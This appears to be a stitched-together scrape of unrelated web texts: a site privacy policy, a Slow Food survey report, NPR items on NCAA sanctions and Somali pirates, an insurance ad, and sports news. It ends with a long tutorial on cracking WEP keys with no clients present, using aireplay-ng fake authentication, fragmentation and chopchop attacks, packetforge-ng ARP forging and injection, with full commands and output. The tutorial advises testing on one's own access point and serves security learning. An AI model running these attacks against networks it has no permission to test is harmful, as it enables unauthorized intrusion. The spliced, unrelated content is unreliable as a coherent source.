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Updated & Effective Date: April.9, 2009.
Privacy Policy - PSYCHOLOGIST-ONLINE.COM
Effective Date: Jan. 1, 2007.
PSYCHOLOGIST-ONLINE.COM has a firm commitment to privacy. We take your privacy concerns seriously and want to make every effort to address them as we strive to offer our site visitors a high quality, interactive and personalized experience. That is why we have adopted the following policy, which explains our position on information gathering and how we intend to use and share any information we collect. It is important to note that this policy applies only to information collected by PSYCHOLOGIST-ONLINE.COM
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You should know that when you voluntarily disclose personal information on the PSYCHOLOGIST-ONLINE.COM Web site (for example, in the discussion forums), that information can be collected and used by others and may result in unsolicited messages from other people. While we do our best to protect your personal information, we cannot be responsible for information that you choose to publicly disclose. Further, you are solely responsible for maintaining the secrecy of any passwords or other account information. Although we make good faith efforts to store the information we collect in a secure operating environment that is not available to the public and to work with responsible third parties, we cannot guarantee complete security for your information.
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PSYCHOLOGIST-ONLINE.COMendorses and abides by the privacy principles approved by the Interactive Services Association and the Direct Marketing Association.


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Earlier this year Slow Food launched a survey on animal welfare. Sent to over 40,000 Slow Food associates from 27 European countries, including both members and farmers involved in Slow Food's Presidia projects; we wanted to find out where the network stands on this increasingly topical issue.
By September the results were in, providing a very useful insight into perceptions and attitudes towards the consumption of animal products and animal welfare in Europe: Information that will be used to help us guide our future activities and projects. A staggering 90% of respondents believed that animal welfare does not receive enough attention in their home country. Ninety percent of respondents also said they would be willing to pay more for animal products that respect animal welfare: 32% of respondents would pay as much as 20% more than the current market price for animal-friendly products. Nearly 50% of respondents called for Slow Food to raise awareness of the issue among policy makers, and to support farmers in their quest towards higher animal welfare standards. Find all the results here.
The results were presented officially during Cheese, Slow Food's international event held last month. In the conference "Who Cares About Animal Welfare?", the survey was discussed with panel of institution representatives, experts and farmers. Introducing the conference, president of the Slow Food Foundation for Biodiversity Piero Sardo said that, "Slow Food members have demonstrated that animal welfare is important to them. As an association, we will have to work over the next few years to understand where a line must be drawn and define what is acceptable to us when it comes to raising animals."
The conference was also the occasion to present the Slow Food Policy Paper on Animal Welfare: a strategic document that outlines the association's position on the issue. During the meeting, Slow Food announced that it would continue its collaboration with the FAO and the European Commission, concentrating on the assessment of animal welfare in small-scale farms in the EU and in countries with emerging economies.
Photo: © Kunal Chandra
For more information, write to [email protected]

subset: commoncrawl


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The University of Miami "lacked institutional control" and didn't notice multiple violations by a booster who for years gave cash and gifts to athletes, the NCAA said. But the organization says the school's football team can play in the postseason, stopping short of the harshest punishment available.
The Miami Hurricanes football program will be stripped of three scholarships a year for three years, the NCAA said Tuesday. The men's basketball team will also lose one scholarship a year during that probationary time. Describing the NCAA's decision Tuesday, The Miami Herald called it "a gift."
Other penalties include a five-game suspension for the school's former head basketball coach, Frank Haith, who is now at the University of Missouri. Several assistant coaches from the football and basketball teams are also being punished.
The forbidden activities involved members of several divisions of the school, from the football and basketball programs to the athletics department itself. The school's failings "enabled a culture of noncompliance," the NCAA said Tuesday.
"These staff members had a poor understanding of NCAA rules or felt comfortable breaking them," the NCAA said in a news release announcing the penalty. "Furthermore, some of the coaches provided false information during the enforcement staff and university's investigation."
The NCAA's Committee on Infractions held a hearing this past summer with the university, which had imposed its own punishments on the football program, including a two-year ban on postseason play.
"The case involved numerous, serious violations of NCAA rules, many of which were not disputed by the university," the NCAA says. "Overall, it involved 18 general allegations of misconduct with 79 issues within those allegations."
The case included revelations made by Nevin Shapiro, a disgraced financier who is currently serving a prison sentence for running a $930 million Ponzi scheme. Two summers ago, Shapiro told Yahoo Sports that he had entertained or helped school athletes and potential recruits for years.
"At a cost that Shapiro estimates in the millions of dollars, he said his benefits to athletes included but were not limited to cash, prostitutes, entertainment in his multimillion-dollar homes and yacht, paid trips to high-end restaurants and nightclubs, jewelry, bounties for on-field play (including bounties for injuring opposing players), travel and, on one occasion, an abortion," Yahoo Sports reported.
Shapiro has been called a "rogue" booster. But the committee, which refers to Shapiro not by name, but only as "the booster," says that he also had a public involvement with the school, from donating $500,000 to the athletic program over several years to hosting a fundraiser to benefit the men's basketball program. A student athletes' lounge was also named after Shapiro — a detail mentioned in the report that helps remove any lingering doubt about "the booster's" identity.
It seems that when Shapiro began to fall on hard times, he sought help from school officials — including the return of a $50,000 gift. And the NCAA found that matters seemed to escalate along with Shapiro's legal troubles.
"After the booster was incarcerated in 2010, he began to threaten the former head men's basketball coach and assistant coach and demand money," according to the NCAA report. "The committee determined the former head men's basketball coach and the former assistant men's basketball coach worked together to make sure the booster received $10,000 to end the booster's threats."
Copyright 2021 NPR. To see more, visit https://www.npr.org.


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Restaurant owners invest a great deal of money into their operation, as a restaurant is a valuable business asset. The costs involved in installing cooking fixtures, correct venting, guest areas, and computer systems is significant. Once purchased and installed, you want to protect these assets should an unexpected event such as a fire, break-in, or flood occur. Restaurant insurance is essential, and it must be a policy which allows you to repair or replace any items that have been damaged or stolen.
Restaurant owners have a different set of problems than most other enterprises. Not only do restaurant owners need general liability insurance and workers' compensation insurance, they must also have property coverage, employment practices liability insurance, liquor liability coverage, coverage that will protect against identify theft, coverage for all valuable papers, and insurance for loss of income. If you have delivery staff or drivers, you need adequate vehicle insurance as well.
With a staff and customers that could potentially file a claim against your business, it's a relief to know you won't be forced to pay for a claim personally. From insuring against employee theft to covering loss due to electrical or mechanical failure, having an adequate policy in place can be critical to your financial security.
Many types of food-related businesses require multiple types of insurance – including caterers, bars, coffee shops, cafés, diners, delis, fast food restaurants, lounges and any enterprise that serves food to customers. Each type of business has differing insurance requirements and needs. At Integrity Commercial Insurance Services in Murrieta, California, we want to help you protect against the multitude of things that could go wrong. We can help ensure that your business continues to run smoothly in the face of unfortunate or unforeseen events. If you do need us, we are easy to contact and we will help you, every step of the way.
Acquiring restaurant insurance is such a crucial business practice that we advise you to contact our local team at Integrity Commercial Insurance Services for important data surrounding coverage and pricing levels. We know how valuable your time is – we are local and can easily meet with you at a time that work for you.
Call us and let us know how we can help!
Filed Under: Business Insurance, Commercial Insurance | Tagged With: California, Insurance Agent, San Diego


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Chad Billingsley (4-6, 4.15) vs. Tim Lincecum (2-8, 6.07).
Is this the end of the Dodgers' first-half glory? His Thighness, the consistently inconsistent Bills, will fight to keep the Dodgers in sole possession of first place, while the consistently bad Timmeh will do his best to hold the Dodger bats to their fastidious vow of silence in the Bay Area. We miss ya, Matty!
photo from Wolfstad.com


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News was sparse Thursday after the first day of the NBA's annual Board of Governors meeting at a Manhattan hotel, where reporters sidewalk-camped in the vain hope of clues about the fate the Kings. New Orleans Hornets/Pelicans owner Tom Benson did say the owners "were getting down to the meat and coconuts." That may be a Cajun recipe reference.
The NBA said Tuesday that the complexity of the bid battle between Sacramento and Seattle for the free-agent franchise forced postponement of a vote anticipated Friday. The revised decision day was estimated to be the first week of May, but no one knows for sure. So the BOG meet has become a magnum anti-climax, although NBA commissioner David Stern is expected to talk to the media Friday afternoon.
Chris Hansen, leader of the Seattle bid, and Mayor Kevin Johnson, leader of the Sacramento offer, were reportedly staying in New York in case owners wanted an audience with either, but were not scheduled to appear Thursday or Friday, the final day of the meeting.
More interesting stuff came from elsewhere, such as Portland, where Blazers owner Paul Allen met Wednesday at the Rose Garden with staffers before the final game of the Blazers' playoff-free, 33-49 season. Allen, who also owns the Seahawks and a portion of the Sounders, joined Mavericks owner Mark Cuban in 2008 as the only owners voting against the Sonics' relocation to Oklahoma City.
Asked about the Sacramento-Seattle argument, Allen was less than solidly in favor of a return of the NBA to his hometown.
"I think the league announced that there wasn't going to be a decision at this owners meeting. If there was, I'd be back in New York talking to people, forming my opinion," he said. "I think it's a tough call. While I supported the Sonics staying in Seattle when they ended up leaving, I think in general, there's some feeling that if there's good fan support and there's good political support sufficient to have a state of the art facility, that's more than enough reason to keep a franchise in the same place.
"Then you can get into all the parameters of who has made the best offer, who hasn't made the best offer. It's a very difficult thing. (Microsoft CEO) Steve Ballmer is a very good friend of mine and I think he would be a great owner. I reserve my final decision."
Meanwhile, in Sacramento, where the Kings also ended a playoff-free season at 28-54, the NBA's sixth-worst record, it was plain that the franchise's uncertain fate for a third consecutive off-season was irking the hell out of some players.
"It's a tough matter to deal with every year," third-year center DeMarcus Cousins told the Sacramento Bee after the Kings lost to the Clippers before the third sellout crowd of the season. "It's an annoying situation. You can't really plan. Most players have an off-season and they can enjoy it and plan it, but for us, it's a different situation. We've always got to be on-call. We never know what's going to happen.
"It does bother your focus."
Players know little more than staffers and fans about what's happening with ownership, but are frequently pestered with questions.
"It's kind of annoying to answer the same question 25 times," said forward Jason Thompson. "From stepping outside, to after a game, during a game, with the media, social networks, everywhere you go, you're answering the same question. They think we're the people with the answers, but really it's the people they don't know too much about that have all the answers."
Tacoma native and former University of Washington star Isaiah Thomas completed a successful season, starting 62 of 79 games and finishing with averages of 13.9 points, four assists and 27 minutes a game. But after his second pro season, he also acknowledged the hassle.
"Your outside life is up in the air," he told the Bee. "Some guys have families, and you just don't know what's going on. It's difficult, and it's frustrating, too. I always like to know what my next move is, and I always want to be on top of everything, but I can't with this."


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A Virginia jury has recommended life in prison for three Somali pirates convicted of murdering four Americans seized from a sailing yacht off the coast of Africa in 2011.
The prosecution had sought the death penalty for Ahmed Muse Salad, Abukar Osman Beyle and Shani Nurani Shiekh Abrar, who were convicted last month of piracy, murder and kidnapping.
The three were among 19 men who attacked the 58-foot S/V Quest with the intent of ransoming her crew: retired U.S. couple Jean and Scott Adam; and two friends, Bob Riggle and Phyllis Macay.
When negotiations broke down, however, the four were shot and killed.
The victims were the first Americans killed in a wave of piracy that has plagued the Somali Coast and the Indian Ocean in recent years.
Copyright 2021 NPR. To see more, visit https://www.npr.org.


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Table of Contents
Tutorial: How to crack WEP with no wireless clients
Version: 1.16 August 28, 201
By: darkAudax
Video: http://video.aircrack-ng.org/noclient/
There are many times when a wireless network has no wireless clients associated with it and there are no ARP requests coming from the wired side. This tutorial describes how to crack the WEP key when there are no wireless clients and there are no ARP requests coming from the wired side. Although this topic has been discussed many times over in the Forum, this tutorial is intended to address the topic in more detail and provide working examples.
If there ARP requests being broadcast from the wire side, then the standard fake authentication combined with ARP request replay technique may be used.
It is recommended that you experiment with your home wireless access point to get familiar with these ideas and techniques. If you do not own a particular access point, please remember to get permission from the owner prior to playing with it.
Please send me any constructive feedback, positive or negative. Additional troubleshooting ideas and tips are especially welcome.
First, this solution assumes:
- You are using drivers patched for injection. Use the injection test to confirm your card can inject prior to proceeding.
- You are physically close enough to send and receive access point packets. Remember that just because you can receive packets from the access point does not mean you may will be able to transmit packets to the AP. The wireless card strength is typically less then the AP strength. So you have to be physically close enough for your transmitted packets to reach and be received by the AP. You should confirm that you can communicate with the specific AP by following these instructions.
- There are some data packets coming from the access point. Beacons and other management frame packets are totally useless for our purposes in this tutorial. A quick way to check is to run airodump-ng and see if there are any data packets counted for the access point. Having said that, if you have data captured from the access point from another session, then this can be used. This is an advanced topic and this tutorial does not provide detailed instructions for this case.
- The access point uses WEP "open authentication". It will not work if "shared key authentication" (SKA) is being used. With SKA, the only way to be successful with no clients present is if you captured the PRGA xor data with a airodump-ng handshake or an aireplay-ng attack previously. This is because you will need the PRGA xor file to do the fake authentication successfully.
- You use the native MAC address of your wireless card for all the steps and do not change it. Do NOT use any other MAC address as the source for transmitting packets. Otherwise, some commands will not work correctly. See the Using Another Source MAC Address Section for instructions on dealing with using a different source MAC address.
- You are using v0.9 of aircrack-ng. If you use a different version then some of the command options may have to be changed.
Ensure all of the above assumptions are true, otherwise the advice that follows will not work. In the examples below, you will need to change "ath0" to the interface name which is specific to your wireless card.
Equipment used
In this tutorial, here is what was used:
- MAC address of PC running aircrack-ng suite: 00:09:5B:EC:EE:F2
- BSSID (MAC address of access point): 00:14:6C:7E:40:80
- ESSID (Wireless network name): teddy
- Access point channel: 9
- Wireless interface: ath0
You should gather the equivalent information for the network you will be working on. Then just change the values in the examples below to the specific network.
Solution Overview
Here are the basic steps we will be going through:
- 1 - Set the wireless card MAC address
- 2 - Start the wireless interface in monitor mode on the specific AP channel
- 3 - Use aireplay-ng to do a fake authentication with the access point
- 4 - Use aireplay-ng chopchop or fragmentation attack to obtain PRGA
- 5 - Use packetforge-ng to create an arp packet using the PRGA obtain in the previous step
- 6 - Start airodump-ng on AP channel with filter for bssid to collect the new unique IVs
- 7 - Inject the arp packet created in step 5
- 8 - Run aircrack-ng to crack key using the IVs collected
Step 1 - Set the wireless card MAC address
To be honest, we will not be changing the wireless card MAC address.
This is a reminder to use your wireless card MAC address as the source MAC. I mention this explicitly as a reminder to use the actual MAC address from your card in "Step 3 - fake authentication" if you are replaying data from another session. Detailed instructions can be found in the FAQ: How do I change my card's MAC address ?.
Step 2 - Start the wireless interface in monitor mode on AP channel
Enter the following command to start the wireless card on channel 9 in monitor mode:
airmon-ng start wifi0 9
Note: In this command we use "wifi0" instead of our wireless interface of "ath0". This is because the madwifi-ng drivers are being used. For other drivers, use the actual interface name.
The system will respond:
Interface Chipset Driver wifi0 Atheros madwifi-ng ath0 Atheros madwifi-ng VAP (parent: wifi0) (monitor mode enabled)
You will notice that "ath0" is reported above as being put into monitor mode.
To confirm the interface is properly setup, enter "iwconfig".
The system will respond:
lo no wireless extensions. eth0 no wireless extensions. wifi0 no wireless extensions. ath0 IEEE 802.11g ESSID:"" Nickname:"" Mode:Monitor Frequency:2.452 GHz Access Point: 00:09:5B:EC:EE:F2 Bit Rate:0 kb/s Tx-Power:15 dBm Sensitivity=0/3 Retry:off RTS thr:off Fragment thr:off Encryption key:off Power Management:off Link Quality=0/94 Signal level=-98 dBm Noise level=-98 dBm Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0 Tx excessive retries:0 Invalid misc:0 Missed beacon:0
In the response above, you can see that ath0 is in monitor mode, on the 2.452GHz frequency which is channel 9 and the Access Point shows the MAC address of your wireless card. So everything is good. It is important to confirm all this information prior to proceeding, otherwise the following steps will not work properly. (Note: If you are using a driver other than madwifi, then the Access Point field will be either invisible or show something other than your card's MAC address. This is normal.)
To match the frequency to the channel, check out: http://www.cisco.com/en/US/docs/wireless/technology/channel/deployment/guide/Channel.html#wp134132 . This will give you the frequency for each channel.
Troubleshooting Tips
- If another interface started other than ath0 then stop all of them first by using "airmon-ng stop athX" where X is each interface you want to stop.
- On mac80211-based drivers, airmon-ng will respond with something like this:
Interface Chipset Driver wlan0 Broadcom 43xx b43 - [phy0] (monitor mode enabled on mon0)
For such interfaces, use the interface name after "monitor mode enabled on" (here "mon0") for further commands, rather than your card's actual interface.
Step 3 - Use aireplay-ng to do a fake authentication with the access point
This is a very important step.
In order for an access point to accept a packet, the source MAC address must already be associated. If the source MAC address you are injecting is not associated then the AP ignores the packet and sends out a "DeAuthentication" packet. In this state, no new IVs are created because the AP is ignoring all the injected packets.
The lack of association with the access point is the single biggest reason why injection fails.
To associate with an access point, use fake authentication:
aireplay-ng -1 0 -e teddy -a 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 ath0
- -1 means fake authentication
- 0 reassociation timing in seconds
- -e teddy is the wireless network name
- -a 00:14:6C:7E:40:80 is the access point MAC address
- -h 00:09:5B:EC:EE:F2 is our card MAC address
- ath0 is the wireless interface name
Success looks like:
18:18:20 Sending Authentication Request 18:18:20 Authentication successful 18:18:20 Sending Association Request 18:18:20 Association successful :-)
Or another variation for picky access points:
aireplay-ng -1 6000 -o 1 -q 10 -e teddy -a 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 ath0
- 6000 - Reauthenticate very 6000 seconds. The long period also causes keep alive packets to be sent.
- -o 1 - Send only one set of packets at a time. Default is multiple and this confuses some APs.
- -q 10 - Send keep alive packets every 10 seconds.
Success looks like:
18:22:32 Sending Authentication Request 18:22:32 Authentication successful 18:22:32 Sending Association Request 18:22:32 Association successful :-) 18:22:42 Sending keep-alive packet 18:22:52 Sending keep-alive packet # and so on.
Here is an example of what a failed authentication looks like:
8:28:02 Sending Authentication Request 18:28:02 Authentication successful 18:28:02 Sending Association Request 18:28:02 Association successful :-) 18:28:02 Got a deauthentication packet! 18:28:05 Sending Authentication Request 18:28:05 Authentication successful 18:28:05 Sending Association Request 18:28:10 Sending Authentication Request 18:28:10 Authentication successful 18:28:10 Sending Association Request
Notice the "Got a deauthentication packet" and the continuous retries above. Do not proceed to the next step until you have the fake authentication running correctly.
Troubleshooting Tips
- Some access points are configured to only allow selected MAC addresses to associate and connect. If this is the case, you will not be able to successfully do fake authentication unless you know one of the MAC addresses on the allowed list. See the MAC access control troubleshooting tip here.
- If at any time you wish to confirm you are properly associated is to use tcpdump and look at the packets. Start another session and…
tcpdump -n -e -s0 -vvv -i ath0
Here is a typical tcpdump error message you are looking for:
11:04:34.360700 314us BSSID:00:14:6c:7e:40:80 DA:00:09:5B:EC:EE:F2 SA:00:14:6c:7e:40:80 DeAuthentication: Class 3 frame received from nonassociated station
Notice that the access point (00:14:6c:7e:40:80) is telling the source (00:09:5B:EC:EE:F2) you are not associated. Meaning, the AP will not process or accept the injected packets.
If you want to select only the DeAuth packets with tcpdump then you can use: "tcpdump -n -e -s0 -vvv -i ath0 | grep -i DeAuth". You may need to tweak the phrase "DeAuth" to pick out the exact packets you want.
Step 4 - Use aireplay-ng chopchop or fragmenation attack to obtain PRGA
The objective of the chopchop and fragmentation attacks is to obtain a PRGA (pseudo random generation algorithm) file. This PRGA is not the WEP key and cannot be used to decrypt packets. However, it can be used to create new packets for injection. The creation of new packets will be covered later in the tutorial.
Either chopchop or fragmentation attacks can be to obtain the PRGA bit file. The result is the same so use whichever one works for you. The pros and cons of each attack are described on the aircrack-ng page.
We will cover the fragmentation technique first. Start another console session and run:
aireplay-ng -5 -b 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 ath0
- -5 means the fragmentation attack
- -b 00:14:6C:7E:40:80 is the access point MAC address
- -h 00:09:5B:EC:EE:F2 is the MAC address of our card and must match the MAC used in the fake authentication
- ath0 is the wireless interface name
The system will respond:
aireplay-ng -5 -b 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 ath0 Waiting for a data packet... Read 127 packets... Size: 114, FromDS: 1, ToDS: 0 (WEP) BSSID = 00:14:6C:7E:40:80 Dest. MAC = 01:00:5E:00:00:FB Source MAC = 00:40:F4:77:E5:C9 0x0000: 0842 0000 0100 5e00 00fb 0014 6c7e 4080 .B....^.....l~@. 0x0010: 0040 f477 e5c9 6052 8c00 0000 3073 d265 .@.w..`R....0s.e 0x0020: c402 790b 2293 c7d5 89c5 4136 7283 29df ..y.".....A6r.). 0x0030: 4e9e 5e13 5f43 4ff5 1b37 3ff9 4da4 c03b N.^._CO..7?.M..; 0x0040: 8244 5882 d5cc 7a1f 2b9b 3ef0 ee0f 4fb5 .DX...z.+.>...O. 0x0050: 4563 906d 0d90 88c4 5532 a602 a8ea f8e2 Ec.m....U2...... 0x0060: c531 e214 2b28 fc19 b9a8 226d 9c71 6ab1 .1..+(...."m.qj. 0x0070: 9c9f .. Use this packet ? y
When a packet from the access point arrives, enter "y" to proceed. You may need to try a few different packets from the AP to be successful. These packets have ""FromDS: 1".
When successful, the system responds:
Saving chosen packet in replay_src-0203-180328.cap Data packet found! Sending fragmented packet Got RELAYED packet!! Thats our ARP packet! Trying to get 384 bytes of a keystream Got RELAYED packet!! Thats our ARP packet! Trying to get 1500 bytes of a keystream Got RELAYED packet!! Thats our ARP packet! Saving keystream in fragment-0203-180343.xor Now you can build a packet with packetforge-ng out of that 1500 bytes keystream
Success! The file "fragment-0203-180343.xor" can then be used in the next step to generate an arp packet.
If the fragmentation attack was not successful, you can then try the chopchop technique next. Run:
aireplay-ng -4 -h 00:09:5B:EC:EE:F2 -b 00:14:6C:7E:40:80 ath0
- -4 means the chopchop attack
- -h 00:09:5B:EC:EE:F2 is the MAC address of our card and must match the MAC used in the fake authentication
- -b 00:14:6C:7E:40:80 is the access point MAC address
- ath0 is the wireless interface name
The system responds:
Read 165 packets... Size: 86, FromDS: 1, ToDS: 0 (WEP) BSSID = 00:14:6C:7E:40:80 Dest. MAC = FF:FF:FF:FF:FF:FF Source MAC = 00:40:F4:77:E5:C9 0x0000: 0842 0000 ffff ffff ffff 0014 6c7e 4080 .B..........l~@. 0x0010: 0040 f477 e5c9 603a d600 0000 5fed a222 .@.w..`:...._.." 0x0020: e2ee aa48 8312 f59d c8c0 af5f 3dd8 a543 ...H......._=..C 0x0030: d1ca 0c9b 6aeb fad6 f394 2591 5bf4 2873 ....j.....%.[.(s 0x0040: 16d4 43fb aebb 3ea1 7101 729e 65ca 6905 ..C...>.q.r.e.i. 0x0050: cfeb 4a72 be46 ..Jr.F Use this packet ? y
You respond "y" above and the system continues.
Saving chosen packet in replay_src-0201-191639.cap Offset 85 ( 0% done) | xor = D3 | pt = 95 | 253 frames written in 760ms Offset 84 ( 1% done) | xor = EB | pt = 55 | 166 frames written in 498ms Offset 83 ( 3% done) | xor = 47 | pt = 35 | 215 frames written in 645ms Offset 82 ( 5% done) | xor = 07 | pt = 4D | 161 frames written in 483ms Offset 81 ( 7% done) | xor = EB | pt = 00 | 12 frames written in 36ms Offset 80 ( 9% done) | xor = CF | pt = 00 | 152 frames written in 456ms Offset 79 (11% done) | xor = 05 | pt = 00 | 29 frames written in 87ms Offset 78 (13% done) | xor = 69 | pt = 00 | 151 frames written in 454ms Offset 77 (15% done) | xor = CA | pt = 00 | 24 frames written in 71ms Offset 76 (17% done) | xor = 65 | pt = 00 | 129 frames written in 387ms Offset 75 (19% done) | xor = 9E | pt = 00 | 36 frames written in 108ms Offset 74 (21% done) | xor = 72 | pt = 00 | 39 frames written in 117ms Offset 73 (23% done) | xor = 01 | pt = 00 | 146 frames written in 438ms Offset 72 (25% done) | xor = 71 | pt = 00 | 83 frames written in 249ms Offset 71 (26% done) | xor = A1 | pt = 00 | 43 frames written in 129ms Offset 70 (28% done) | xor = 3E | pt = 00 | 98 frames written in 294ms Offset 69 (30% done) | xor = BB | pt = 00 | 129 frames written in 387ms Offset 68 (32% done) | xor = AE | pt = 00 | 248 frames written in 744ms Offset 67 (34% done) | xor = FB | pt = 00 | 105 frames written in 315ms Offset 66 (36% done) | xor = 43 | pt = 00 | 101 frames written in 303ms Offset 65 (38% done) | xor = D4 | pt = 00 | 158 frames written in 474ms Offset 64 (40% done) | xor = 16 | pt = 00 | 197 frames written in 591ms Offset 63 (42% done) | xor = 7F | pt = 0C | 72 frames written in 217ms Offset 62 (44% done) | xor = 1F | pt = 37 | 166 frames written in 497ms Offset 61 (46% done) | xor = 5C | pt = A8 | 119 frames written in 357ms Offset 60 (48% done) | xor = 9B | pt = C0 | 229 frames written in 687ms Offset 59 (50% done) | xor = 91 | pt = 00 | 113 frames written in 339ms Offset 58 (51% done) | xor = 25 | pt = 00 | 184 frames written in 552ms Offset 57 (53% done) | xor = 94 | pt = 00 | 33 frames written in 99ms Offset 56 (55% done) | xor = F3 | pt = 00 | 193 frames written in 579ms Offset 55 (57% done) | xor = D6 | pt = 00 | 17 frames written in 51ms Offset 54 (59% done) | xor = FA | pt = 00 | 81 frames written in 243ms Offset 53 (61% done) | xor = EA | pt = 01 | 95 frames written in 285ms Offset 52 (63% done) | xor = 5D | pt = 37 | 24 frames written in 72ms Offset 51 (65% done) | xor = 33 | pt = A8 | 20 frames written in 59ms Offset 50 (67% done) | xor = CC | pt = C0 | 97 frames written in 291ms Offset 49 (69% done) | xor = 03 | pt = C9 | 188 frames written in 566ms Offset 48 (71% done) | xor = 34 | pt = E5 | 48 frames written in 142ms Offset 47 (73% done) | xor = 34 | pt = 77 | 64 frames written in 192ms Offset 46 (75% done) | xor = 51 | pt = F4 | 253 frames written in 759ms Offset 45 (76% done) | xor = 98 | pt = 40 | 109 frames written in 327ms Offset 44 (78% done) | xor = 3D | pt = 00 | 242 frames written in 726ms Offset 43 (80% done) | xor = 5E | pt = 01 | 194 frames written in 583ms Offset 42 (82% done) | xor = AF | pt = 00 | 99 frames written in 296ms Offset 41 (84% done) | xor = C4 | pt = 04 | 164 frames written in 492ms Offset 40 (86% done) | xor = CE | pt = 06 | 69 frames written in 207ms Offset 39 (88% done) | xor = 9D | pt = 00 | 137 frames written in 411ms Offset 38 (90% done) | xor = FD | pt = 08 | 229 frames written in 688ms Offset 37 (92% done) | xor = 13 | pt = 01 | 232 frames written in 695ms Offset 36 (94% done) | xor = 83 | pt = 00 | 19 frames written in 58ms Offset 35 (96% done) | xor = 4E | pt = 06 | 230 frames written in 689ms Sent 957 packets, current guess: B9... The AP appears to drop packets shorter than 35 bytes. Enabling standard workaround: ARP header re-creation. Saving plaintext in replay_dec-0201-191706.cap Saving keystream in replay_dec-0201-191706.xor Completed in 21s (2.29 bytes/s)
Success! The file "replay_dec-0201-191706.xor" above can then be used in the next step to generate an arp packet.
Helpful Tips
- Be sure the packet is 68 or more bytes otherwise you may not have enough PRGA data to subsequently generate a packet. The PRGA captured has to equal or greater then the packet length we want to generate.
- At home, to generate some packets to force chopchop to start, ping a nonexistent IP on your network using a wired client. This forces an arp to be broadcast and this will show up in chopchop to be used.
- You can check the decrypted packet by running "tcpdump -n -vvv -e -s0 -r replay_dec-0201-191706.cap". In our example above:
reading from file replay_dec-0201-191706.cap, link-type IEEE802_11 (802.11) 19:17:06.842866 0us DA:Broadcast BSSID:00:14:6c:7e:40:80 SA:00:40:f4:77:e5:c9 LLC, dsap SNAP (0xaa), ssap SNAP (0xaa), cmd 0x03: oui Ethernet (0x000000), ethertype ARP (0x0806): arp who-has 192.168.1.12 tell 192.168.1.1
- If something happens part way through chopchop, you can reuse the source packet by entering "aireplay-ng -4 ath0 -h 00:09:5B:EC:EE:F2 -r replay_src-0201-191639.cap". The replay source file is noted when chopchop starts.
- Taking the previous tip further, if you have a capture file from another session, you can use it as input "aireplay-ng -4 ath0 -h 00:09:5B:EC:EE:F2 -r capture-from-some-other-time.cap"
Troubleshooting Tips
- If the first packet you select does not work, then try a few others. Sometimes it takes more then one try to be successful with either attack.
- The chopchop attack will not be successful on some access points. If this happens, move onto the fragmentation attack. And vice versa.
- Make sure you are properly associated. To check this, follow the tcpdump instructions in step 2.
Step 5 - Use packetforge-ng to create an arp packet
In the previous step, we obtained PRGA. It does not matter which attack generated the PRGA, both are equal. This PRGA is stored in the files ending with "xor". We can then use this PRGA to generate a packet for injection. We will be generating an arp packet for injection. The objective is to have the access point rebroadcast the injected arp packet. When it rebroadcasts it, a new IV is obtained. All these new IVs will ultimately be used to crack the WEP key.
But first, lets generate the arp packet for injection by entering:
packetforge-ng -0 -a 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 -k 255.255.255.255 -l 255.255.255.255 -y fragment-0203-180343.xor -w arp-request
- -0 means generate an arp packet
- -a 00:14:6C:7E:40:80 is the access point MAC address
- -h 00:09:5B:EC:EE:F2 is MAC address of our card
- -k 255.255.255.255 is the destination IP (most APs respond to 255.255.255.255)
- -l 255.255.255.255 is the source IP (most APs respond to 255.255.255.255)
- -y fragment-0203-180343.xor is file to read the PRGA from (NOTE: Change the file name to the actual file name out in step 4 above)
- -w arp-request is name of file to write the arp packet to
The system will respond:
Wrote packet to: arp-request
Helpful Tips
- After creating the packet, use tcpdump to review it from a sanity point of view. See below. It looks good!
tcpdump -n -vvv -e -s0 -r arp-request
reading from file arp-request, link-type IEEE802_11 (802.11) 10:49:17.456350 WEP Encrypted 258us BSSID:00:14:6c:7e:40:80 SA:00:09:5b:ec:ee:f2 DA:Broadcast Data IV: 8f Pad 0 KeyID 0
Since you are testing against your own AP (you are, right?), then decrypt the packet and ensure it is correct. These steps are not required, they just prove to yourself that you have generated the correct packet.
Decrypt the packet:
airdecap-ng -e teddy -w <put your WEP key here> arp-request
View the decrypted packet:
tcpdump -n -r arp-request-dec
It should be something like:
reading from file arp-request-dec, link-type EN10MB (Ethernet) 10:49:17.456350 arp who-has 255.255.255.255 tell 255.255.255.255
Step 6 - Start airodump-ng
Open another console session to capture the generated IVs. Then enter:
airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w capture ath0
- -c 9 is the channel for the wireless network
- -
-bssid 00:14:6C:7E:40:80 is the access point MAC address. This eliminate extraneous traffic.
- -w capture is file name prefix for the file which will contain the captured packets.
- ath0 is the interface name.
Step 7 - Inject the arp packet
Using the console session where you generated the arp packet, enter:
aireplay-ng -2 -r arp-request ath0
- -2 means use interactive frame selection
- -r arp-request defines the file name from which to read the arp packet
- ath0 defines the interface to use
The system will respond:
Size: 68, FromDS: 0, ToDS: 1 (WEP) BSSID = 00:14:6C:7E:40:80 Dest. MAC = FF:FF:FF:FF:FF:FF Source MAC = 00:09:5B:EC:EE:F2 0x0000: 0841 0201 0014 6c7e 4080 0009 5bec eef2 .A....l~@...[... 0x0010: ffff ffff ffff 8001 8f00 0000 7af3 8be4 ............z... 0x0020: c587 b696 9bf0 c30d 9cd9 c871 0f5a 38c5 ...........q.Z8. 0x0030: f286 fdb3 55ee 113e da14 fb19 17cc 0b5e ....U..>.......^ 0x0040: 6ada 92f2 j... Use this packet ? y
Enter "y" to use this packet. The system responds by showing how many packets it is injecting and reminds you to start airodump-ng if it has not already been started:
Saving chosen packet in replay_src-0204-104917.cap You should also start airodump-ng to capture replies. End of file.
While this command is successfully running, the airodump-ng screen will look similar to:
CH 9 ][ Elapsed: 16 s ][ 2007-02-04 11:04 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:14:6C:7E:40:80 47 100 179 2689 336 9 11 WEP WEP teddy BSSID STATION PWR Lost Packets Probes 00:14:6C:7E:40:80 00:09:5B:EC:EE:F2 29 0 2707
You will notice that only one access point is being display since we included an airodump-ng filter to limit the capture to a single BSSID. Also notice that the station packets are roughly equal to the BSSID data packets. This means injection is working well. Also notice the data rate of 336 packets per second which is also an indicator that the injection is working well. This is a pretty "ideal" injection scenario.
Troubleshooting Tips
